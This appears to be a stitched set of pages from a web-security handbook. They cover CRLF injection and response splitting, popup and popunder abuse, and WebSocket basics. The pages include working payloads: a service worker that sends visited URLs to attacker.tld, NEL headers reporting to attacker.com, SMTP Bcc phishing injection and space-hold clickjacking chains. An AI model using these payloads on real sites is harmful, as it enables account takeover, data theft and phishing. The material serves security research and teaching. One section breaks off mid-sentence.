A `Content-Security-Policy:` may be in effect on the resulting page if it comes *before your injection point*. If your XSS is limited by this, [Content-Security-Policy (CSP)](/web/client-side/cross-site-scripting-xss/content-security-policy-csp) bypasses are the first thing you should look at of course. Using this Response Splitting gadget, there are some unique extra bypasses for both Chrome and Firefox.

#### Chrome load `'self'` with Content-Length truncation

It's possible to craft almost a completely arbitrary response using Response Splitting, with your exact needed headers and body. If `script-src 'self'` is defined, you may only load scripts from the current domain, which seems safe. We can bypass it, however, by crafting a 2nd Response Splitting URL and loading that as a script:

{% code overflow="wrap" %}

```html
<script src="/vuln?inject=x%0D%0AContent-Type:%20text/javascript%0D%0A%0D%0Aalert(origin)"></script>
```

{% endcode %}

This might load a response like this:

```http
HTTP/1.1 200 OK
X-Inject: x
Content-Type: text/javascript

alert(origin)<!DOCTYPE html>
<html>
<h1>Hello, world!</h1>
...
```

> Uncaught SyntaxError: Unexpected identifier `'html'`

It quickly throws an error, because of the suffix content from the original uninjected page. The trick to solving this shared by [@siunam321](https://x.com/siunam321/status/1962525358680604980), is to add a small `Content-Length:` header that cuts off the body right after our payload:

<pre class="language-http"><code class="lang-http">HTTP/1.1 200 OK
X-Inject: x
Content-Type: text/javascript
<strong>Content-Length: 13
</strong>
alert(origin)
</code></pre>

This will execute successfully, so the final payload starting from the initial HTML page with a CSP becomes:

{% code title="URL" overflow="wrap" %}

```url
/vuln?inject=x%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%20src=%22%2Fvuln%3Finject%3Dx%250D%250AContent-Type:%2520application%2Fjavascript%250D%250AContent-Length%3A%252013%250D%250A%250D%250Aalert%28origin%29%22%3E%3C/script%3E
```

{% endcode %}

{% code title="HTTP Response" %}

```http
HTTP/1.1 200 OK
X-Inject: x
Content-Type: text/html

<script src="/vuln?inject=x%0D%0AContent-Type:%20application/javascript%0D%0AContent-Length:%2013%0D%0A%0D%0Aalert(origin)"></script>
```

{% endcode %}

#### Firefox replace CSP

But specifically in Firefox there is another trick that can almost *redefine* the policy. [Issue 1864434](https://bugzilla.mozilla.org/show_bug.cgi?id=1864434) tracks this behavior where using the special `multipart/x-mixed-replace` content type, the body has the following structure:

<pre class="language-http"><code class="lang-http">HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=BOUNDARY

<strong>--BOUNDARY
</strong><strong>Content-Type: text/html
</strong>
<strong>&#x3C;h1>First&#x3C;/h1>
</strong><strong>--BOUNDARY
</strong><strong>Content-Type: text/plain
</strong>
<strong>Second message
</strong><strong>--BOUNDARY--
</strong></code></pre>

You may recognize the similarities with the `multipart/form-data` type commonly used in file upload requests. The body starts and ends with a boundary. Documents within those replace the previous one. The above would result in "Second message" in a `text/plain` content type to be displayed.

Interestingly, you can **replace** other headers too, like `Content-Security-Policy`. While it won't fully replace the header or specified directives, you **can only add directives** that the main header didn't specify, similar to if you would append content to the existing header. With `script-src` and `style-src` directives, you can use the uncommon [`script-src-elem`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src-elem) and [`style-src-elem`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/style-src-elem) to set a laxer policy for specifically `<script>` and `<style>`/`<link rel=stylesheet>` elements.\
You can just enable all of the unsafe features again:

<pre class="language-http"><code class="lang-http">HTTP/1.1 200 OK
<strong>Content-Security-Policy: script-src 'none'; style-src 'none'
</strong>Content-Type: multipart/x-mixed-replace; boundary=BOUNDARY

--BOUNDARY
<strong>Content-Type: text/html
</strong><strong>Content-Security-Policy: script-src-elem 'unsafe-inline'; script-style-elem https:
</strong>
<strong>&#x3C;script>alert(origin)&#x3C;/script>
</strong><strong>&#x3C;style>@import '...'&#x3C;/style>
</strong>--BOUNDARY--
</code></pre>

### Charset

If your input is filtered/sanitized, you can also abuse the *charset* of the content type by overwriting it in a header. The UTF-16 charset, for example, has null bytes in between each character:

[**Payload**](https://gchq.github.io/CyberChef/#recipe=Subsection\('%5C%5Cr%5C%5Cn%5C%5Cr%5C%5Cn\(.*\)',true,true,false\)Encode_text\('UTF-16LE%20\(1200\)'\)Merge\(true\)URL_Encode\(false\)\&input=eA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTE2DQoNCjxzY3JpcHQ%2BYWxlcnQob3JpZ2luKTwvc2NyaXB0Pg\&ieol=CRLF\&oeol=CRLF): `x%0D%0AContent-Type:%20text/html;%20charset=UTF-16%0D%0A%0D%0A%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00(%00o%00r%00i%00g%00i%00n%00)%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00`

<pre class="language-http"><code class="lang-http">HTTP/1.1 200 OK
Content-Type: application/json
Some-Header: x
<strong>Content-Type: text/html; charset=UTF-16
</strong>
<strong>&#x3C;�s�c�r�i�p�t�>�a�l�e�r�t�(�o�r�i�g�i�n�)�&#x3C;�/�s�c�r�i�p�t�>�
</strong>
{"some": "json"}
</code></pre>

If XSS isn't an option, it can also be combined with [HTML Injection](/web/client-side/cross-site-scripting-xss/html-injection#utf-16-iframe-stylesheet-content) to leak content in the response.

### Redirect with `Location:`

One common situation is when your injection point is the value of a `Location:` header in a 30X redirect. The problem is that the browser will normally just redirect to the given location *without rendering the body*. This prevents us from directly injecting a `<script>` tag, for example.

<pre class="language-http" data-title="Response"><code class="lang-http">HTTP/1.1 302 Found
Content-Type: text/html
<strong>Location: [INPUT]
</strong></code></pre>

First of all, an **open redirect** may be possible if the URL isn't validated strictly. See the following examples:

```http
Location: [INPUT]                   -> http://evil.com
Location: /[INPUT]                  -> //evil.com or /\evil.com
Location: http://example.com[INPUT] -> http://example.com@evil.com
Location: /any/path/[INPUT]         -> ../../dangerous/path
```

This isn't nearly as impactful as XSS though, but fortunately Chrome has a trick to **ignore the redirect and show the body instead**. If the `Location:` is *empty* it will be ignored.

{% code title="Chrome" %}

```http
Location: 
```

{% endcode %}

So if your input starts in the `Location:` header, simply inject two `\r\n` sequences and then your XSS payload as the body. The payload will look like this ([test](https://r.jtw.sh/poc.html?body=%3Cscript%3Ealert%28origin%29%3C%2Fscript%3E\&h\[Location]=)):

```http
Location: 

<script>alert(origin)</script>
```

## Response Headers

If response splitting isn't an option for whatever reason, you may still get interesting results out of inject some special headers that the browser understands.

### Set-Cookie

One of the simplest is just setting a cookie in the response with the `Set-Cookie:` header. This has the same impact as [Cross-Site Request Forgery (CSRF)](/web/client-side/cross-site-request-forgery-csrf#cookie-tossing), but if you're targeting the same host would also allow setting `__Host-` prefixed cookies.

You can only set one cookie per header, but this is no problem if you can inject multiple headers. One fact that makes this especially useful is the fact that it **works on redirects**:

```http
HTTP/1.1 302 Found
Location: /somewhere
Set-Cookie: xss=<script>alert(origin)</script>
```

### Service-Worker-Allowed

The [`Service-Worker-Allowed:`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Service-Worker-Allowed) header is uncommon, but useful for redefining where a [Service Worker](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API) may be scoped. These workers are require to be loaded from a path on the origin and by default they may only intercept requests from the same directory as it was served from. Eg. `/uploads/sw.js` will only be able to intercept `/uploads/*`, not `/anything-else`.

Setting this header to `/` disables the restriction and lets you intercept all paths starting with `/`. This is especially useful for getting more impact out of [#response-splitting](#response-splitting "mention"), since Service Workers are permanently stored **persistent** between browser sessions, allowing requests to be intercepted and maintain in control of the victim's browser.

```http
Service-Worker-Allowed: /
```

You'll have to do this in two steps (two Response Splitting payloads):

1. Return XSS, call `navigator.serviceWorker.register(...)` with a scope of `/` pointing to another Response Splitting payload that returns the Service Worker and this special header.
2. Return the Service Worker source code and `Service-Worker-Allowed: /`, with correct `Content-Type`.

<pre class="language-html" data-title="1. XSS"><code class="lang-html">&#x3C;script>
  const injection = `
Service-Worker-Allowed: /
Content-Type: text/javascript

...`;
<strong>  navigator.serviceWorker.register(`/vuln?header=${injection}`, { scope: "/" });
</strong><strong>&#x3C;/script>
</strong></code></pre>

<pre class="language-javascript" data-title="2. Service Worker"><code class="lang-javascript">self.addEventListener('install', e => e.waitUntil(self.skipWaiting()));
self.addEventListener('activate', e => e.waitUntil(self.clients.claim()));

self.addEventListener('fetch', (e) => {
    console.log('Intercepted fetch for', e.request.url);
    // You can choose to exfiltrate any content now
<strong>    fetch("https://attacker.tld/log?url=" + e.request.url)
</strong>    
    // or return another persistent XSS payload
<strong>    e.respondWith(new Response('&#x3C;script>alert(origin)&#x3C;\/script>', {
</strong><strong>      headers: { 'Content-Type': 'text/html' }
</strong><strong>    }));
</strong>});
</code></pre>

From now on, every URL that the victim visits will be exfiltrated to `attacker.tld`, and gets `<script>alert(origin)</script>` as the response, triggering an XSS popup until the Service Worker is manually unregistered (via `chrome://serviceworker-internals/`).

{% hint style="info" %}
**Tip**: Use [#chrome-load-self-with-content-length-truncation](#chrome-load-self-with-content-length-truncation "mention") to remove any excess body after your service worker source code if needed.
{% endhint %}

### Link

The [`Link:`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Link) header is a special one that has many different features. In the header value you provide a link in between angle brackets (`<>`), followed by attributes like `rel=` that specify what it's used for. Using a comma (`,`) it's possible to provide multiple link rules in one header.

The following table shows which rel types are recognized. Note that not all of them actually do something, or work in the *header* instead of a `<link>` tag:

{% embed url="<https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Attributes/rel>" %}
List of all `rel=` attributes and their meaning
{% endembed %}

### NEL (Network Error Logging)

[Network Error Logging](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Network_Error_Logging) is a part of the [Reporting API](https://developer.mozilla.org/en-US/docs/Web/API/Reporting_API), responsible for sending reports about certain things happening in your browser. These reports can be sent externally, for example to a server you control. One of the most useful for attackers is NEL which will **leak all URLs that get visited**. Using the `success_fraction` parameter it's also possible to leak successful URLs. `include_subdomains` allows leaking URLs upon DNS failures of domains under the one it was set on.

{% hint style="success" %}
**Tip**: a common pattern in *OAuth* is sending a secret code through query parameters, and after planting a "backdoor" with this technique, you'll get these leaked URLs and can achieve ATO.
{% endhint %}

This is all configured using response headers, and once registered, will keep being active for quite a while (not only a single request). First, you need to define an endpoint to report to:

{% code title="Report-To:" %}

```json
{
  "group": "leak",
  "max_age": 600,
  "include_subdomains": true,
  "endpoints": [
    {
      "url": "https://attacker.com/report"
    }
  ]
}
```

{% endcode %}

Then, configure logging 100% of the error and 100% of the successful requests that created endpoint:

{% code title="NEL:" %}

```json
{
  "report_to": "leak",
  "include_subdomains": true,
  "success_fraction": 1,
  "failure_fraction": 1,
  "max_age": 600
}
```

{% endcode %}

Together, the headers you inject should look something like this:

{% code overflow="wrap" %}

```http
Report-To: {"group":"leak","max_age":600,"include_subdomains":true,"endpoints":[{"url":"https://attacker.com/report"}]}
NEL: {"report_to":"leak","include_subdomains":true,"success_fraction":1,"failure_fraction":1,"max_age":600}
```

{% endcode %}

From now on, the next 600 seconds (10 minutes) all top-level requests to the domain that these response headers were set on will be sent to <https://attacker.com/report>. Requests will be batched and sent every minute, and debugging this can be annoying. There are some tips in the article below to get DevTools to show you which requests are queued:

{% embed url="<https://developer.chrome.com/docs/capabilities/web-apis/reporting-api#use_devtools>" %}
Explanation of the Reporting API and some debugging tips
{% endembed %}

You can also use the `--short-reporting-delay` startup flag in Chrome while testing to make the minute-delay shorter and receive reports instantly.

{% hint style="info" %}
**Tip**: while testing, make sure the host and reporting endpoint use `https://`, and Cloudflare is not overwriting it with its own `cf-nel`. Set up a working receiving server using [`interactsh-client -v`](https://github.com/projectdiscovery/interactsh).
{% endhint %}

#### [`rel="stylesheet"`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Attributes/rel#stylesheet)

This header adds the link URL as a stylesheet to the returned page, allowing [CSS Injection](/web/client-side/css-injection). The syntax is as follows:

```http
Link: <https://attacker.com>;rel=stylesheet
```

Only Firefox understands stylesheets through a header, it will be ignored in Chrome.\
[I found this once in the real world](https://bsky.app/profile/jorianwoltjer.com/post/3lhwnargkrc2m) in a partial `Link:` header injection that reflected the URL, to style the 404 page arbitrarily. It also shows that the first `rel=` attribute takes priority.

#### [`rel="preload"`](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Attributes/rel#preload) with `referrerpolicy="unsafe-url"`

Due to what's arguably a chrome bug, injecting a header in a subresource request, even a cross-site one, you can leak the current URL in the `Referer:`. Check out [HTML Injection](/web/client-side/cross-site-scripting-xss/html-injection#link-response-header-with-preload).

### CORS

If your goal is to leak some content of the response that you are at the same time injecting into, this is possible by **adding permissive** [**CORS headers**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS#the_http_response_headers). For example:

{% code title="Response Headers" %}

```http
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Expose-Headers: X-Super-Sensitive-Header
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: DELETE, PUT, PATCH
```

{% endcode %}

If you can trigger the header injection via a `fetch()` request, this now allows you to read the body and any other headers it responds with:

```javascript
fetch("https://target.com/inject%0aAccess-Control-...").then(async r => {
  console.log(Object.fromEntries(r.headers.entries()));
  console.log(await r.text());    
});
```

{% hint style="warning" %}
**Note**: not all response headers are allowed to be read, such as `Location:` (or the in-between bodies of redirects) or `Set-Cookie`. It can often be used to fetch authenticated data and CSRF tokens, for example.
{% endhint %}

### Carriage return (`\r`) only

A protection some applications take to CRLF issues is **blocking newlines** (`\n`) in header values. While this sounds correct, the carriage return (`\r`) character is actually just as important to block.

**Chrome** can split headers by `\r` ([source](https://x.com/zakfedotkin/status/1963603867641287150)) allowing an injection without newlines to still use any of the attacks mentioned here under [#response-headers](#response-headers "mention"). For example:

<figure><img src="/files/51GcoykGkYxZixgT5ITN" alt="" width="371"><figcaption><p>Burp Suite response showing <code>Set-Cookie</code> injection with only <code>\r</code></p></figcaption></figure>

Even though Burp Suite does not recognize it as a new header, Chrome does, and the cookie will be set:

<figure><img src="/files/abIbCdnhQfPEWYUp70oP" alt="" width="539"><figcaption><p>Chrome recognizing the header and saving the cookie to storage</p></figcaption></figure>

{% hint style="warning" %}
**Note**: It's not possible to split into the body this way, so for [#response-splitting](#response-splitting "mention")'s impact, you still require the use of newlines.
{% endhint %}

## SMTP

Just like HTTP, SMTP for sending emails is also a CRLF-delimited plaintext protocol with headers. These emails are often sent by applications automatically with information to you like a password reset or notifications. Such emails are often sensitive and if an attacker-controlled input can mess with the request it can get leaked, or malicious content can be injected.

A typical SMTP request looks like this:

```xml
EHLO
MAIL FROM:sender@example.com
RCPT TO:recipient@example.com
DATA
From: sender@example.com
To: recipient@example.com
Subject: some subject

Content...
.

```

A common place to inject is the `RCPT TO:` SMTP header as this is where the email is sent to. By injecting CRLF characters, new headers like `RCPT TO:attacker@example.com` to receive a copy of the email in your inbox (very dangerous for secrets like **password reset** tokens!).\
More commonly you will also see an injection into the `DATA` section where headers like `Bcc` can be added to send a copy to yourself or add content to the email for an indistinguishable phishing attack. A common place is the `Subject` or `From`/`To` headers:

**Subject** [**Payload**](https://gchq.github.io/CyberChef/#recipe=URL_Encode\(false\)\&input=YQ0KQmNjOiBhdHRhY2tlckBleGFtcGxlLmNvbQ0KDQo8aDE%2BUGhpc2hpbmchPC9oMT4\&ieol=CRLF): `a%0D%0ABcc:%20attacker@example.com%0D%0A%0D%0A%3Ch1%3EPhishing!%3C/h1%3E`

```
From: sender@example.com
To: recipient@example.com
Subject: a
Bcc: attacker@example.com

<h1>Phishing!</h1>
Content...
```


# Window Popup Tricks

Abusing browser functionality to do interesting things with popups and interactions

## APIs

Before trying to understand how we can abuse popup windows, we should understand the functions we can call from JavaScript. The main one is [`window.open(url, target, windowFeatures)`](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which opens a new window, either a tab or a popup. The distinction is made by the 3rd `windowFeatures` argument which is a string containing some `key=value,` options.\
Specifying the `popup` key here will force a popup, but specifying any position or size will do so as well:

```javascript
window.open("https://example.com", "", "");  // Open new tab
window.open("https://example.com", "", "popup");  // Open popup
window.open("https://example.com", "", "width=200,height=200");  // Open small popup
window.open("https://example.com", "", "width=200,height=200,top=100,left=200"); // Open positioned popup
```

If you just add the above to a `<script>` tag without any extra code, you will get a warning like the following in most browsers by default:

<figure><img src="/files/LFj5Beg3uefbvKYm7FAx" alt=""><figcaption><p>Popup blocker preventing window from spawning</p></figcaption></figure>

The browser's built-in popup blocker prevents our window from spawning. Any `window.open()` calls require ["Transient activation"](https://developer.mozilla.org/en-US/docs/Glossary/Transient_activation) or just an **interaction**. The documentation explains what events trigger it and what APIs are affected by this protection. In short, we need the user to click somewhere, and inside the event handler for that click, open our popup:

```html
<script>
  // Set event handler (`window.addEventListener("click", () => {})` also works)
  onclick = () => {
    window.open("https://example.com", "", "popup"); // Open popup
  }
</script>
```

This successfully triggers the popup. In Chromium, the `onkeydown`, `onkeyup` and `onkeypress` events also work, while on Firefox only `onkeyup` works. This popup will open the given URL in a **top-level context**, sending with it any `SameSite=Lax` cookies, making attacks that require cookies more often possible.

{% hint style="success" %}
**Tip**: *Headless browsers* (`--headless`) lack this "popup blocker", so in automated environments you will often be able to start as many popups as you want, whenever you want.
{% endhint %}

### Window References

We could also have saved the return value from `window.open()`, giving us a **window reference**. When the popup is cross-origin with the main page, we are very limited in what can be accessed on the window, but not fully out of options. See the following example:

<pre class="language-html"><code class="lang-html">&#x3C;script>
  let w;
  onclick = () => {
    w = window.open("https://example.com", "", "popup"); // Open popup
    console.log(w);
    
<strong>    setTimeout(() => {
</strong><strong>      w.location = "https://example.com/2"  // Change the URL of the popup
</strong><strong>    }, 1000);
</strong>  }
&#x3C;/script>
</code></pre>

Using the window reference, we can change the `.location` property to redirect the target page at any moment. For more complicated sequences, we could even redirect it to a URL same-origin with the main window, call some APIs that are only available for such windows, and then redirect it to the target page.

The popup will itself have a reference back to the main page as well. The [`window.opener`](https://developer.mozilla.org/en-US/docs/Web/API/Window/opener) variable holds a reference to the page that opened this window, so in our case the main page. The target page can also use this variable to detect when it is being displayed in a popup and act accordingly. In rare scenarios, you might want to prevent this detection and altered behavior.\
Luckily, it is very easy to revoke access to the `opener` variable, simply using the `noopener` window feature (ironically, introduced to enhance security):

```html
<script>
  onclick = async () => {
    // example.com will see `opener` as 'null' now, 
    // instead of a reference back to the main page
    window.open("https://example.com", '', 'popup,noopener')
  }
</script>
```

### Moving and Resizing

With a window reference, a *same-origin* popup has [`.moveTo()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/moveTo) and [`.moveBy()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/moveBy) methods to move the window around, as well as [`.resizeTo()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/resizeTo) and [`resizeBy()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/resizeBy) methods to change its bounds. These can be called at any time to change what area a window covers, no matter if it's focused:

<pre class="language-javascript"><code class="lang-javascript">let w;
onclick = () => {
  w = window.open(origin, "", "width=200,height=200,top=100,left=200");
  
  setTimeout(() => {
<strong>    // Move 100px to the right
</strong><strong>    w.moveBy(100, 0);
</strong><strong>    // Increase height by 200px
</strong><strong>    w.resizeBy(0, 200);
</strong>  }, 1000);
}
</code></pre>

Note that these methods are only available on same-origin popups, check the DevTools Console for errors if you try to change the URL from `origin` to some random other website. We can, however, move the window right at the start before the real page loads:

<pre class="language-javascript"><code class="lang-javascript">let w;
onclick = () => {
  w = window.open("https://example.com", "", "width=200,height=200,top=100,left=200");
<strong>  w.resizeBy(0, 200);  // Works
</strong>  
  setTimeout(() => {
<strong>    w.resizeBy(0, -200);  // Doesn't work
</strong>  }, 1000);
}
</code></pre>

### `window.name` ("target")

Another surprisingly useful feature of windows is the `target` (2nd) argument. This sets the [`window.name`](https://developer.mozilla.org/en-US/docs/Web/API/Window/name) property for the window. One interesting behavior that this causes is that if there already exists a window with **the same name**, it is **re-used** instead of creating a new one. As normal with a popup, focus will be given to the new popup, but with this trick the new popup may be an existing window with the same name.

{% code title="Example" %}

```javascript
let w;
let i = 0;
onclick = () => {
  switch (i++) {
    case 0:
      // 1st, open a new popup named "some-name"
      w = window.open("https://example.com", "some-name", "width=200,height=200,top=100,left=200");
      break;
    case 1:
      // 2nd, re-use the first popup to open this next page, gaining focus again
      w2 = window.open("https://example.com/2", "some-name");
      break;
  }
}
```

{% endcode %}

{% hint style="info" %}
**Tip**: After the 2nd click, the popup window will be redirected to `/2`, reloading that page. If you just want to get another window reference and/or focus the popup window, you can open the location to the same URL with a `#` appended to it. Alternatively, you can also set it to an invalid URL like `invalid://`.

Either option will *not* reload the page, and only focus the window with that existing name this will be useful in the attacks described later.
{% endhint %}

By clicking twice on the main page, it first opens a popup with a specific name, and when this name is set the same for the second click, the same existing popup is used and only its location is changed. One scenario where this is useful is to put focus *back on the main page* by specifying it's `window.name` in a `window.open()` call from the popup itself:

```html
<script>
  // Set main window's name to "main"
  window.name = "main";
  
  let w;
  onclick = () => {
    const blob = new Blob([`
        <script>
          onclick = () => {
            // Open main location again with a '#' appended, re-using the "main" name
            // Note that the same URL with a hash will not reload the page
            window.open("${location}#", "main")
          }
        <\/script>
      `], {
      type: "text/html",
    });
    
    // Create window to blob with HTML content
    w = window.open(URL.createObjectURL(blob), "some-name", "width=200,height=200,top=100,left=200");
  }
</script>
```

Clicking on the main page and then inside the popup will put focus back on the main window, while the popup remains in the background.

### Hash fragments and IDs

URLs have a `#` hash fragment part that is sometimes accessed by JavaScript through `location.hash`, or used by the browser automatically to scroll to a certain element. When you click on the header above this paragraph, for example, `#hash-fragments-and-ids` is appended to the URL. When you copy and paste this URL into a new window, you will automatically scroll down to this header element.

This works because the header has an `id="hash-fragments-and-ids"` attribute which the browser looks for when you pass it as a hash fragment in the URL. Instead of manually typing a URL, other sites can also redirect or popup to a URL with a hash fragment.

Scrolling to a specific element is not the only thing this does; `<input>` or `<button>` elements will be automatically **focused**. See the following example:

{% code title="Target (example.com)" %}

```html
<input id="some-button" type="submit" value="Submit">
```

{% endcode %}

{% code title="Attack" %}

```html
<script>
  onclick = () => {
    // Automatically focus input on opening the popup
    window.open("https://example.com/#some-button", "", "popup")
  }
</script>
```

{% endcode %}

This can be automated by changing the `.location` attribute of a window reference. When you change the URL to the same path and query with a different hash fragment, it is *not reloaded* and will focus/scroll to the new element the hash points to. Here's an example that cycles through a few:

{% code title="Target (example.com)" %}

```html
<button id="1">1</button>
<button id="2">2</button>
<button id="3">3</button>
```

{% endcode %}

{% code title="Attack" %}

```html
<script>
  const target = "https://example.com";

  function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
  }

  let w;
  onclick = async () => {
    w = window.open(target, "", "popup");
    // Cycle through buttons without reloading by changing the hash fragment only
    await sleep(1000);
    while (true) {
      w.location = target + "#1"
      await sleep(500);
      w.location = target + "#2"
      await sleep(500);
      w.location = target + "#3"
     await sleep(500);
    }
  }
</script>
```

{% endcode %}

### opener = `null`

The [`window.opener`](https://developer.mozilla.org/en-US/docs/Web/API/Window/opener) is sometimes used to check if a page was opened in

## Exploits

In this part, we learn how to abuse the above tricks in bigger exploit chains to make good proof of concepts that don't require much user interaction and are pretty convincing.

### Holding Space

One powerful instruction to give a user is to hold space. As with holding any key, after a short second, the key will be repeatedly pressed while it is held. The same goes for the spacebar. The benefit of the spacebar is that it also serves as a way of pressing a button while it is focused. It allows for easy navigation without the mouse, but we can abuse it to perform unexpected interactions with a target page.

{% embed url="<https://www.paulosyibelo.com/2024/02/cross-window-forgery-web-attack-vector.html>" %}
Article explaining an example attack of pressing a button with the spacebar
{% endembed %}

The idea is as follows:

1. Instruct the user to hold space on our attacker's page, like a "Verifying connection" screen or game
2. Open a popup to the target page with the ID of a sensitive button in the hash fragment
3. The user, still holding space, will now focus the sensitive button on the target page and quickly make the space press hit the button. The main page can then close the popup again to prevent the victim from noticing

{% hint style="warning" %}
**Note**: The attack described above **does not work** on Firefox, **only** on Chromium-based browsers. Firefox does not see `onkeydown` as an interaction worthy of opening a popup, disallowing holding space from calling `window.open()`.
{% endhint %}

### Keyboard Popunder

The idea in [#holding-space](#holding-space "mention") works, but requires the target page to load in full view of the victim, making them more likely to release space and fail the exploit. Instead, if we were able to load the target page in the background and then re-focus it when it is completely loaded, there should be no time for the victim to notice. This is an attack I described in depth in the following blog post:

{% embed url="<https://jorianwoltjer.com/blog/p/hacking/pressing-buttons-with-popups>" %}
Explaining practical attacks by holding space with popups
{% endembed %}

While so-called "popunders" should no longer be possible in modern browsers, we can emulate them while the user is typing. While holding space spacebar, the `onkeydown` event is actually sent repeatedly similar to holding down any letter will write that letter repeatedly after a small second. This gives us effectively infinite user interactions and "user activation", so we can call the `window.open()` function without having to worry about the popup blocker.

By opening a popup `onkeydown` with a page under our control (eg. an inline [`Blob`](https://developer.mozilla.org/en-US/docs/Web/API/Blob)) that itself also has an `onkeydown` sending the focus back to the main page, it only shows up for a split second before being hidden again. This is effectively a popunder!

After this routine, we can redirect the popup in the background to the target page with the sensitive button and an `id=` attribute. After it loads, and while the user is still holding space, we quickly focus the popup so that the user instantly presses the button without it having to load/wait.

Some example proof of concepts for different cases have been shared here, which you should be able to slightly alter for your target:

{% embed url="<https://github.com/JorianWoltjer/popup-research>" %}
Experiments and proof of concepts for real-world targets
{% endembed %}


# WebSockets

## # Related Pages

> Bypassing reverse proxies using [Reverse Proxies](/web/server-side/reverse-proxies#websocket-and-h2c-smuggling)

## Description

[WebSockets](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API) allow two-way communication over a single connection where both the server and client can send messages whenever they like. It is functionally similar to a raw TCP connection sending data to and between, but is wrapped in WebSocket *frames* and used by the browser.

### Protocol

Creating a WebSocket connection starts with an HTTP request. In the browser, you call the [`WebSocket()`](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket/WebSocket) constructor and a request like the following is sent:

{% code title="Request" %}

```http
GET /some/ws HTTP/1.1
Host: example.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: ut/YSNzdtIkvnTCSQtTx9g==
```

{% endcode %}

The server has a websocket handler for `/some/ws`, so it responds with a `Sec-WebSocket-Accept:` header derived from the request's `Sec-WebSocket-Key:` ([source](https://en.wikipedia.org/wiki/WebSocket#Opening_handshake)). The status code will be 101 "Switching Protocols", and the TCP connection stays open.

{% code title="Response" %}

```http
HTTP/1.1 101 Switching Protocols
Connection: upgrade
Upgrade: websocket
Sec-WebSocket-Accept: /fCJAu1M5mY53eHwube2Xl1leKM=
```

{% endcode %}

After this handshake, any party can send websocket frames that the other will decode and handle accordingly. On the wire this is a binary protocol, and looks something like this:

<figure><img src="/files/5M275FVNobyeJsTL3QpO" alt=""><figcaption><p>Wireshark capture of WebSocket frame with "Hello, world!" text payload</p></figcaption></figure>

Messages have a few different types:

* **Text data frame**: Simple UTF-8 strings as message content
* **Binary data frame**: Raw bytes as message content
* **Ping/Pong**: Used to keep the connection alive and avoid timeouts
* **Close**: The party sending a close frame cannot send more frames after doing so. *The other may still send frames*, but most often it will automatically send a closing handshake response to end the connection from both sides.

Implementations with WebSockets often work completely differently than regular HTTP endpoints, which may cause them to have less validation or more dangerous behavior. Be sure to test for the **standard type of vulnerabilities within fields** of a WebSocket message.

### SocketIO

A common wrapper around WebSockets in the wild is [SocketIO](https://socket.io/). This has backwards compatibility support by falling back on streaming HTTP responses if WebSockets fail for any reason, and has built some more features like session/room management that are common for web applications.

At the highest level, there are [namespaces](https://socket.io/docs/v4/namespaces/) that can be seen as completely different connections to different applications. Almost always, this is implicitly the main namespace (`/`). A namespace contains [rooms](https://socket.io/docs/v4/rooms/) which can be seen as types of [events](https://socket.io/docs/v4/emitting-events/).

Only the server can put you into a room, you cannot decide this for yourself. This is often used for authorization, after completing some verification. This puts you into a private room with other connected clients where sensitive information may be shared.

### Snippets

#### WebSocket Server

{% code title="Dependencies" %}

```sh
npm install ws
```

{% endcode %}

<pre class="language-javascript" data-title="server.js"><code class="lang-javascript">const WebSocket = require('ws');

const ws = new WebSocket.Server({ port: 8080 });

ws.on('connection', conn => {
  console.log('Client connected.');

<strong>  conn.on('message', message => {
</strong><strong>    console.log(`Received from client: ${message}`);
</strong><strong>    conn.send(`Server received: ${message}`);
</strong><strong>  });
</strong>
  conn.on('close', () => {
    console.log('Client disconnected.');
  });

  conn.send('Welcome to the WebSocket server!');
});

console.log('WebSocket server is running on ws://localhost:1337');
</code></pre>

#### WebSocket Client - JavaScript

{% embed url="<https://developer.mozilla.org/en-US/docs/Web/API/WebSocket>" %}
Documentation for JavaScript `WebSocket` Client API
{% endembed %}

<pre class="language-javascript" data-title="client.js"><code class="lang-javascript">const socket = new WebSocket("ws://localhost:1337");

socket.addEventListener("open", (event) => {
<strong>  socket.send("Hello Server!");
</strong>});

<strong>socket.addEventListener("message", (event) => {
</strong>  console.log("Message from server ", event.data);
});
</code></pre>

<details>

<summary><code>WebSocketClient.js</code></summary>

```javascript
class WebSocketClient {
  constructor(url) {
    this.socket = new WebSocket(url);
    this._messageQueue = [];
    this._pendingResolvers = [];

    this.socket.addEventListener('message', (event) => {
      const message = event.data;
      if (this._pendingResolvers.length > 0) {
        this._pendingResolvers.shift()(message);
      } else {
        this._messageQueue.push(message);
      }
    });
  }

  send(message) {
    if (this.socket.readyState === WebSocket.OPEN) {
      this.socket.send(message);
    } else {
      throw new Error("WebSocket is not open");
    }
  }

  recv() {
    return new Promise((resolve) => {
      if (this._messageQueue.length > 0) {
        resolve(this._messageQueue.shift());
      } else {
        this._pendingResolvers.push(resolve);
      }
    });
  }

  close() {
    if (this.socket.readyState === WebSocket.OPEN) {
      this.socket.close();
    } else {
      throw new Error("WebSocket is already closed or not opened");
    }
  }
}
```

</details>

```javascript
